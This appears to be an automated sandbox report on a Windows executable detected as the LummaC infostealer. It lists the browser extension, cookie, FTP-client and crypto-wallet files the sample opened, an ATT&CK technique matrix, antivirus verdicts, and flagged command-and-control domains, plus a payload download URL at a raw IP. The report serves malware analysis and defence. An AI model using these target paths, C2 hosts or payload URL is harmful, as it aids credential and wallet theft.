Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1621052986.00000000010AB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1620800533.00000000010A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pVbAZEFIpI.exe PID: 7548, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: pVbAZEFIpI.exe PID: 7548, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	12 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	44 Virtualization/Sandbox Evasion	LSASS Memory	851 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
pVbAZEFIpI.exe	71%	ReversingLabs	Win32.Infostealer.Tinba
pVbAZEFIpI.exe	72%	Virustotal		Browse
pVbAZEFIpI.exe	100%	Avira	TR/Crypt.TPM.Gen
pVbAZEFIpI.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://lev-tolstoi.com/s	100%	Avira URL Cloud	malware
https://store.steampowered.comZ	0%	Avira URL Cloud	safe
https://www.youtube.cos	0%	Avira URL Cloud	safe
https://bashfulacid.lat:443/apir	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/sZ	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apiXB	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/s2	100%	Avira URL Cloud	malware
https://curverpluch.lat:443/api	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/pi:	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/D&	100%	Avira URL Cloud	malware
https://lev-tolstoi.com/apia-B	100%	Avira URL Cloud	malware
https://player.vi	0%	Avira URL Cloud	safe
https://lev-tolstoi.com/apiAIAB	100%	Avira URL Cloud	malware
https://steambroadcast.B	0%	Avira URL Cloud	safe
https://community.fastT	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
steamcommunity.com	104.102.49.254	true	false	high
lev-tolstoi.com	172.67.157.254	true	false	high
www.google.com	216.58.208.228	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
wordyfindy.lat	unknown	unknown	false	high
slipperyloo.lat	unknown	unknown	false	high
curverpluch.lat	unknown	unknown	false	high
tentabatte.lat	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high
manyrestro.lat	unknown	unknown	false	high
bashfulacid.lat	unknown	unknown	false	high
shapestickyr.lat	unknown	unknown	false	high
observerfry.lat	unknown	unknown	false	high
talkynicer.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
slipperyloo.lat	false	high
observerfry.lat	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
https://lev-tolstoi.com/api	false	high
curverpluch.lat	false	high
tentabatte.lat	false	high
manyrestro.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/s	pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://store.steampowered.com/subscriber_agreement/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Youssef1313	chromecache_116.6.dr	false		high
https://www.youtube.cos	pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lev-tolstoi.com/s2	pVbAZEFIpI.exe, 00000000.00000003.1697432712.00000000010AC000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795169101.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_101.6.dr	false		high
https://store.steampowered.com	pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_116.6.dr	false		high
http://www.valvesoftware.com/legal.htm	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/sZ	pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_116.6.dr	false		high
https://store.steampowered.comZ	pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bashfulacid.lat:443/apir	pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pshelpmechoose	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_116.6.dr, chromecache_89.6.dr, chromecache_122.6.dr	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/webuiD	pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/pi:	pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javas	pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1642779415.000000000108F000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/D&	pVbAZEFIpI.exe, 00000000.00000003.1795169101.00000000010AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://github.com/Thraka	chromecache_116.6.dr	false		high
https://lev-tolstoi.com/	pVbAZEFIpI.exe, pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795341311.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001091000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1610484223.0000000001034000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1509146744.000000000109D000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://steamcommunity.com:443/profiles/76561199724331900	pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	pVbAZEFIpI.exe, 00000000.00000003.1585768724.0000000005752000.00000004.00000800.00020000.00000000.sdmp	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	chromecache_116.6.dr	false		high
https://schema.org	chromecache_101.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	pVbAZEFIpI.exe, 00000000.00000003.1533489485.0000000005762000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533348047.0000000005765000.00000004.00000800.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1533412842.0000000005762000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	pVbAZEFIpI.exe, 00000000.00000003.1509228440.0000000001052000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lev-tolstoi.com/apiXB	pVbAZEFIpI.exe, 00000000.00000003.1697519780.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1508913666.000000000100D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	pVbAZEFIpI.exe, 00000000.00000003.1586721262.000000000598B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curverpluch.lat:443/api	pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001013000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/adegeo	chromecache_116.6.dr	false		high
https://lev-tolstoi.com/apia-B	pVbAZEFIpI.exe, 00000000.00000003.1642541154.0000000001053000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	pVbAZEFIpI.exe, 00000000.00000003.1508878020.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	pVbAZEFIpI.exe, 00000000.00000003.1508913666.0000000001052000.00000004.00000020.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_121.6.dr, chromecache_101.6.dr	false		high
https://github.com/js-cookie/js-cookie	chromecache_121.6.dr, chromecache_101.6.dr	false		high
http://185.215.113.16/off/def.exe	pVbAZEFIpI.exe, 00000000.00000002.1867685541.0000000001054000.00000004.00000020.00020000.00000000.sdmp, pVbAZEFIpI.exe, 00000000.00000003.1795169101.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_116.6.dr	false		high
https://github.com/dotnet/try	chromecache_121.6.dr, chromecache_101.6.dr	false		high
